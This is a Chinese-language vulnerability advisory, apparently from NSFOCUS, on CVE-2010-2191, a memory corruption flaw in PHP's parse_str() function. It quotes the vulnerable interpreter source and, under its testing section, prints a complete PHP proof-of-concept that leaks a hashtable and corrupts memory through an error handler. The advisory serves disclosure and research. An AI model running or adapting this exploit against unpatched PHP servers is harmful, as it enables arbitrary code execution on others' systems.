安全研究

安全漏洞
PHP parse_str()函数中断内存破坏漏洞

发布日期:2010-05-31
更新日期:2010-06-25

受影响系统:
PHP PHP <= 5.3.2
PHP PHP <= 5.2.13
描述:
CVE ID: CVE-2010-2191

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的parse_str()函数中存在内存破坏漏洞:

PHP_FUNCTION(parse_str)
{
    char *arg;
    zval *arrayArg = NULL;
    char *res = NULL;
    int arglen;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|z", &arg, &arglen, &arrayArg) == FAILURE) {
        return;
    }

    res = estrndup(arg, arglen);

    if (arrayArg == NULL) {
        zval tmp;

        if (!EG(active_symbol_table)) {
            zend_rebuild_symbol_table(TSRMLS_C);
        }
        Z_ARRVAL(tmp) = EG(active_symbol_table);
        sapi_module.treat_data(PARSE_STRING, res, &tmp TSRMLS_CC);
    } else  {
        /* Clear out the array that was passed in. */
        zval_dtor(arrayArg);
        array_init(arrayArg);
        
        sapi_module.treat_data(PARSE_STRING, res, arrayArg TSRMLS_CC);
    }
}

通过引用函数传送了可选的第二个参数,这意味着可通过用户空间中断进行修改。通过深层嵌套的数组就可以触发中断:

if(++nest_level > PG(max_input_nesting_level)) {
    HashTable *ht;
    /* too many levels of nesting */

    if (track_vars_array) {
        ht = Z_ARRVAL_P(track_vars_array);
        zend_hash_del(ht, var, var_len + 1);
    } else if (PG(register_globals)) {
        ht = EG(active_symbol_table);
        zend_hash_del(ht, var, var_len + 1);
    }

    zval_dtor(val);

    /* do not output the error message to the screen,
     this helps us to to avoid "information disclosure" */
    if (!PG(display_errors)) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "Input variable nesting level exceeded %ld. To increase the limit change max_input_nesting_level in php.ini.", PG(max_input_nesting_level));
    }
    efree(var_orig);
    return;
}

将ArrayArg更改为字符串或int,就可以触发内存破坏,导致执行任意代码。

<*来源:Stefan Esser (s.esser@ematters.de
  
  链接:http://www.php-security.org/2010/05/31/mops-2010-049-php-parse_str-interruption-memory-corruption-vulnerability/index.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php

    ini_set("display_errors", 0);
    
    $GLOBALS['leakedArray'] = leakAnArray();
    
    echo "TEST\n";
    
    /* Setup Error Handler */
    set_error_handler("my_error");
    
    /* Trigger the Code */
    $x = "";
    parse_str("a".str_repeat("[]", 200)."=1&x=y&x=y", $x);
    restore_error_handler();

    function my_error()
    {
        headers_sent($GLOBALS['x']);
        for ($i=0; $i<strlen($GLOBALS['leakedArray']); $i++)
            $GLOBALS['x'][$i] = $GLOBALS['leakedArray'][$i];
        return 1;
    }

    /* helpers to leak a valid hashtable */

    class dummy
    {
        function __toString()
        {          
            /* now the magic */
            parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']);
            return "XXXXX";
        }
    }
    
    function leakAnArray()
    {
        /* Detect 32 vs 64 bit */
        $i = 0x7fffffff;
        $i++;
        if (is_float($i)) {
            $GLOBALS['var'] = str_repeat("A", 39);
        } else {
            $GLOBALS['var'] = str_repeat("A", 67);      
        }
        
        /* Trigger the Code */
        $x = http_build_query(array(1 => 1),&$GLOBALS['var'], new dummy());
        $x = substr($x, 0, strlen($x)-3);

        /* patch array */
        if (is_float($i)) {
            for ($j=0; $j<4; $j++) {
                $x[0x20 + $j] = 'A';
            }
        } else {
            for ($j=0; $j<8; $j++) {
                $x[0x38 + $j] = 'A';
            }
        }
        return $x;
    }
?>

建议:
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

浏览次数:2899
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障